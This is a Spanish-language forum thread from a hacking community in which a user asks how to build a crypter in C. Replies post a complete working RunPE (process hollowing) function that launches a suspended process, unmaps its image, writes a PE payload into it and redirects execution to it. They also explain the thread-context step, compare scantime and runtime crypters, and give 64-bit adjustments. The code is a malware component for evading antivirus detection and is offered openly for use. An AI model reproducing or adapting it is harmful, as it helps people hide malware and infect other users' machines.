Crypter en C
Publicado: 06 Ago 2012, 17:49
Hola a todos!
ALguien me podria decir los pasos a seguir para crear un crypter en C?
ALguien me podria decir los pasos a seguir para crear un crypter en C?
Indetectables es una Comunidad de Hacking, Seguridad Informática, Impresión 3d y Desarrollo
./index.php
Código: Seleccionar todo
VOID InjectPE(LPSTR szProcessName, LPBYTE lpBuffer)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT ctx;
memset(&si, 0, sizeof(si));
si.cb = sizeof(STARTUPINFO);
ctx.ContextFlags = CONTEXT_FULL;
pidh = (PIMAGE_DOS_HEADER)&lpBuffer[0];
if(pidh->e_magic != IMAGE_DOS_SIGNATURE)
{
return;
}
pinh = (PIMAGE_NT_HEADERS)&lpBuffer[pidh->e_lfanew];
if(pinh->Signature != IMAGE_NT_SIGNATURE)
{
return;
}
_CreateProcess __CreateProcess = NULL;
__CreateProcess = (_CreateProcess)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateProcessA");
_NtUnmapViewOfSection __NtUnmapViewOfSection = NULL;
__NtUnmapViewOfSection = (_NtUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection");
_VirtualAllocEx __VirtualAllocEx = NULL;
__VirtualAllocEx = (_VirtualAllocEx)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
_WriteProcessMemory __WriteProcessMemory = NULL;
__WriteProcessMemory = (_WriteProcessMemory)GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
_GetThreadContext __GetThreadContext = NULL;
__GetThreadContext = (_GetThreadContext)GetProcAddress(GetModuleHandle("kernel32.dll"), "GetThreadContext");
_SetThreadContext __SetThreadContext = NULL;
__SetThreadContext = (_SetThreadContext)GetProcAddress(GetModuleHandle("kernel32.dll"), "SetThreadContext");
_ResumeThread __ResumeThread = NULL;
__ResumeThread = (_ResumeThread)GetProcAddress(GetModuleHandle("kernel32.dll"), "ResumeThread");
__CreateProcess(NULL, szProcessName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
__NtUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
__VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
__WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, &lpBuffer[0], pinh->OptionalHeader.SizeOfHeaders, NULL);
for(INT i = 0; i < pinh->FileHeader.NumberOfSections; i++)
{
pish = (PIMAGE_SECTION_HEADER)&lpBuffer[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i];
__WriteProcessMemory(pi.hProcess, (LPVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), &lpBuffer[pish->PointerToRawData], pish->SizeOfRawData, NULL);
}
__GetThreadContext(pi.hThread, &ctx);
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
__SetThreadContext(pi.hThread, &ctx);
__ResumeThread(pi.hThread);
}
O sea, un RunPE en C (?)The Swash escribió:Veo que es algo mecánico para "muchos", supongo cuanto les importa entender el funcionamiento de las cosas :)
@dofo:
Lo que "posteaste" es únicamente lo que lanza la ejecución de un archivo desde "memoria"
Saludos.
Código: Seleccionar todo
__GetThreadContext(pi.hThread, &ctx);
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
__SetThreadContext(pi.hThread, &ctx);
__ResumeThread(pi.hThread);
Lo que hace GetThreadContext es obtener los registros del PCB (Process Control Block, una estructura que ayuda a darle el control del procesador por un cierto tiempo al proceso, en este caso thread) a esa variable que contiene los registros se le asigna a el registro EAX, el AddressofEntryPoint, posteriormente se actualizan los registros con SetThreadContext para que al resumir el proceso la instrucción a ejecutar sea el AEP y el thread comience correr y no se crashe.s7evin escribió:Pues la verdad hay un par de puntos que no entiendo...
Primero... que beneficios aporta realizar la vinculación de las librerías en tiempo de ejecución.
Y segundo, me pierdo en el uso de la estructura CONTEXT / GetThreadContext / SetThreadContext. Por lo que he visto en el MSDN, se trata del estado del procesador (registros y demás), que imagino lo está utilizando para realizar alguna operación interna... pero no se cual. Si alguien puede explicarme este pedazo de código se lo agradecería:Acabo de empezar con ASM (veo que utiliza registros del procesador) y no entiendo muy bien la intención de esas lineas (algún tipo de "SALTO"? ya que está utilizando el AddressOfEntryPoint + ImageBase).Código: Seleccionar todo
__GetThreadContext(pi.hThread, &ctx); ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint; __SetThreadContext(pi.hThread, &ctx); __ResumeThread(pi.hThread);
Un saludo!
El proceso que tu describes, en efecto es un ScanTime; pero el del código adjunto, lo está inyectando en memoria (como tu bien has dicho), por tanto, no sería un RunTime?ameise_1987 escribió:esos son los pasos a seguir a muy groso modo ya que hay algunas cosas que no especifique, esto seria un
encriptador scantime, pero a mi parecer creo que deberias comenzar por ahi, antes de meterte a injectar codigo
que no tienes idea como y tampoco donde se injecta, y tambien antes de enterarte que no se injecta en ningun proceso sino que se crea un nuevo proceso xD, .
Por ser APIs que piden información directamente al kernel del sistema, en 64bits se cambia su llamado por:adwind escribió:Si desean compilar en 64 bits surge un error en ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
al parecer no es soportado ctx.Eax. en 64 bits solo 32
O: GRACIASorlando9427 escribió:Por ser APIs que piden información directamente al kernel del sistema, en 64bits se cambia su llamado por:adwind escribió:Si desean compilar en 64 bits surge un error en ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
al parecer no es soportado ctx.Eax. en 64 bits solo 32
[*]Wow64GetThreadContext
[*]Wow64SetThreadContext
[*]WOW64_CONTEXT
Los registros son los mismos pero tienen algunos punteros de diferencia.
Saludos!